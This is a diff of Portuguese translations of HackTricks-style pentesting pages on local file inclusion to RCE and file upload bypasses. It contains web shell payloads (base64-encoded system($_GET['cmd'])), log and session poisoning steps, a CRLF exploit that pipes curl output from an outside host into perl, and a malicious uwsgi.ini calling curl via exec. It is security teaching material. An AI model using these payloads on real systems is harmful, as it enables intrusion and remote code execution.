incluir esse arquivo +Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserir no **user agent** ou em um **GET parameter** um php shell como **``** e incluir esse arquivo > [!WARNING] -> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP gerará um erro** ali e **nada mais será executado**. +> Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** aí e **nada mais será executado**. > > Além disso, certifique-se de **escrever corretamente o payload** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. -Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header **authorisation "basic"** contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.\ +Isto também pode ser feito em outros logs, mas **cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.\ Outros possíveis caminhos de log: ```python /var/log/apache2/access.log @@ -501,12 +501,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Via Email -**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir o e-mail do usuário usando um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** +**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/`** ou **`/var/spool/mail/`** ### Via /proc/\*/fd/\* 1. Faça upload de muitas shells (por exemplo: 100) -2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced) +2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser obtido por força bruta) e $FD o descritor de arquivo (também pode ser obtido por força bruta) ### Via /proc/self/environ @@ -517,26 +517,26 @@ User-Agent: ``` ### Via upload -Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : `` ). +Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (por exemplo: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf +Para manter o arquivo legível, é melhor injetar nos metadados das imagens/documentos/PDF -### Via upload de arquivo Zip +### Via upload de arquivo ZIP -Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse: +Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Através de sessões PHP +### Através de PHP sessions -Verifique se o site usa sessão PHP (PHPSESSID) +Verifique se o site usa PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -No PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ +Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Via ssh -Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** +Se o ssh estiver ativo, verifique qual usuário está em uso (/proc/self/status & /etc/passwd) e tente acessar **\/.ssh/id_rsa** ### **Via** **vsftpd** _**logs**_ -Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: +Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados: 1. Injete um payload PHP no campo username durante o processo de login. -2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. +2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: +Como mostrado em [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o PHP base64 filter ignora caracteres não-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termine com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (sem arquivo necessário) +### Via php filters (sem necessidade de arquivo) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo. {{#ref}} @@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -Upload um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo. +**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você poderá procurá-lo. {{#ref}} @@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Via Nginx armazenamento de arquivos temporários -Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica: +Se você encontrou uma **Local File Inclusion** e **Nginx** está rodando na frente do PHP, você pode conseguir RCE com a técnica a seguir: {{#ref}} @@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você pode abusar disso para obter RCE: +Se você encontrou uma **Local File Inclusion** mesmo se você **não tiver uma session** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP **ativará a session para você**. Você pode abusar disso para obter RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via temp file uploads in Windows +### Via uploads de arquivos temporários no Windows -Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode conseguir RCE: +Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como argumento. Veja também [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) e [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -O seguinte abusa de uma CRLF vuln para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +O seguinte explora uma vuln CRLF para obter RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: +Se você encontrar uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE: {{#ref}} @@ -639,28 +639,28 @@ lfi2rce-via-phpinfo.md ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Se você encontrou uma **Local File Inclusion** e **puder exfiltrar o path** do arquivo temporário MAS o **server** está **checando** se o **arquivo a ser incluído tem PHP marks**, você pode tentar **bypassar essa checagem** com esta **Race Condition**: +Se você encontrar uma **Local File Inclusion** e **conseguir exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com esta **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### Via espera eterna + bruteforce -Se você puder abusar do LFI para **upload temporary files** e fazer o **server** **hang** a execução do PHP, você poderia então **brute force filenames durante horas** para encontrar o arquivo temporário: +Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, você pode então tentar por força bruta os nomes de arquivo durante horas para encontrar o arquivo temporário: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### To Fatal Error +### Para Fatal Error -Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro). +Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para disparar esse erro). **Não sei quão útil isso é, mas pode ser.**\ -_Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._ +_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 179056c4b..5608e57cf 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -5,9 +5,9 @@ ## Introdução -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** it into a file. -Basicamente o objetivo do script é **gerar uma string Base64** no **início** do arquivo que será **finalmente decodificada**, fornecendo o payload desejado que será **interpretado por `include`**. +Basicamente o objetivo do script é **gerar um Base64** string no **início** do arquivo que será **finalmente decodificada** fornecendo o payload desejado que será **interpreted by `include`**. Os fundamentos para fazer isso são: @@ -16,18 +16,18 @@ Os fundamentos para fazer isso são: O loop para gerar conteúdo arbitrário é: -1. prepend `\x1b$)C` to our string as described above -2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code -3. base64-decode and base64-encode the string which will remove any garbage in between -4. Go back to 1 if the base64 we want to construct isn't finished yet -5. base64-decode to get our php code +1. prefixar `\x1b$)C` à nossa string como descrito acima +2. aplicar alguma cadeia de conversões iconv que deixe nosso base64 inicial intacto e converta a parte que acabámos de prefixar para alguma string onde o único caractere base64 válido seja a próxima parte do nosso código php codificado em base64 +3. base64-decode e base64-encode a string, o que removerá qualquer lixo no meio +4. Voltar ao passo 1 se o base64 que queremos construir ainda não estiver terminado +5. base64-decode para obter nosso código php > [!WARNING] > **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work! ## Como também adicionar sufixos aos dados resultantes -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes) +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. Isto é ótimo caso você precise que a saída tenha algum formato específico (como json ou talvez adicionar alguns PNG magic bytes) ## Ferramentas Automáticas @@ -96,7 +96,7 @@ print(r.text) ``` ### Melhorias -O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce all the base64 characters**: +O script anterior está limitado aos caracteres base64 necessários para esse payload. Portanto, criei meu próprio script para **bruteforce todos os caracteres base64**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 07e1cddb3..8ceec0503 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,8 +1,8 @@ -# Upload de Arquivos +# Envio de Arquivos {{#include ../../banners/hacktricks-training.md}} -## File Upload General Methodology +## Metodologia Geral de Upload de Arquivos Outras extensões úteis: @@ -15,38 +15,38 @@ Outras extensões úteis: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Bypass file extensions checks +### Contornar verificações de extensões de arquivo -1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._ -2. Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também): -- _file.png.php_ +1. Se aplicável, verifique as extensões anteriores. Teste também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._ +2. Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também): +- _file.png.php_ - _file.png.Php5_ -3. Tente adicionar **caracteres especiais no final**. Você pode usar Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (Nota: você também pode tentar usar as **extensões** mencionadas anteriormente) -- _file.php%20_ -- _file.php%0a_ -- _file.php%00_ -- _file.php%0d%0a_ -- _file.php/_ -- _file.php.\\_ -- _file._ -- _file.php...._ +3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_) +- _file.php%20_ +- _file.php%0a_ +- _file.php%00_ +- _file.php%0d%0a_ +- _file.php/_ +- _file.php.\\_ +- _file._ +- _file.php...._ - _file.pHp5...._ -4. Tente contornar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicação** da **extensão** ou **adicionando lixo** (bytes **null**) entre extensões. _Você também pode usar as extensões anteriores para preparar um payload melhor._ -- _file.png.php_ -- _file.png.pHp5_ -- _file.php#.png_ -- _file.php%00.png_ -- _file.php\x00.png_ -- _file.php%0a.png_ -- _file.php%0d%0a.png_ +4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ +- _file.png.php_ +- _file.png.pHp5_ +- _file.php#.png_ +- _file.php%00.png_ +- _file.php\x00.png_ +- _file.php%0a.png_ +- _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Adicione **outra camada de extensões** no teste anterior: -- _file.png.jpg.php_ +5. Adicione **outra camada de extensões** ao teste anterior: +- _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Tente colocar a **extensão executável antes** da extensão válida e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **.php**, mas **não necessariamente terminando em .php**, executará código): +6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mesmo não terminando em .php, irá executar código): - _ex: file.php.png_ -7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado mais tarde usando outras técnicas como seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”) -8. Tente romper os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php +7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado mais tarde usando outras técnicas, como usando seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”) +8. Tente exceder os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Bypass Content-Type, Magic Number, Compression & Resizing +### Contornar Content-Type, Magic Number, Compressão & Redimensionamento -- Bypass checks de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ +- Contorne verificações de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Bypass de verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ +- Contorne checagem de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ `exiftool -Comment="' >> img.png` -- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- Se **compressão está sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Porém, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. Contudo, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- Outra técnica para fazer um payload que **sobrevive a um redimensionamento da imagem**, usando a função PHP-GD `thumbnailImage`. Entretanto, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Outras técnicas para verificar - Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão). - Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor. -- **Possível divulgação de informações**: +- **Possível divulgação de informação**: 1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** -2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já exista** -3. Fazer upload de um arquivo com **"." , "..” ou "…” como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os uploads em "/www/uploads/" a filename "." criará um arquivo chamado "uploads" em "/www/". -4. Faça upload de um arquivo que não possa ser deletado facilmente, como **"…:.jpg”** em **NTFS**. (Windows) -5. Faça upload de um arquivo no **Windows** com caracteres inválidos como `|<>*?”` no nome. (Windows) -6. Faça upload de um arquivo no **Windows** usando nomes reservados (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. -- Tente também fazer upload de um executável (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima. +2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** +3. Fazer upload de um arquivo com **".", "..", ou "..." como nome**. Por exemplo, no Apache no **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/", o arquivo com nome "." vai criar um arquivo chamado "uploads" em "/www/". +4. Fazer upload de um arquivo que possa não ser excluído facilmente como **"…:.jpg”** no **NTFS**. (Windows) +5. Fazer upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows) +6. Fazer upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, e COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima. -### Special extension tricks +### Truques com extensões especiais -Se você estiver tentando fazer upload de arquivos para um **PHP server**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se você estiver tentando fazer upload de arquivos para um **ASP server**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se você está tentando enviar arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se você está tentando enviar arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...) -A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**. +A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**. ## **Jetty RCE** -Se você conseguir fazer upload de um arquivo XML em um servidor Jetty pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem abaixo, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere a shell! +Se você consegue fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para uma exploração detalhada desta vulnerabilidade verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. +Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', usado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. -Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, mostrando vários esquemas: +Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários esquemas: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações. +A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. O recurso auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar mudanças. -É crucial entender a natureza permissiva da análise do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. +É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. -## **wget Upload de Arquivos/Truque SSRF** +## **wget File Upload/SSRF Trick** 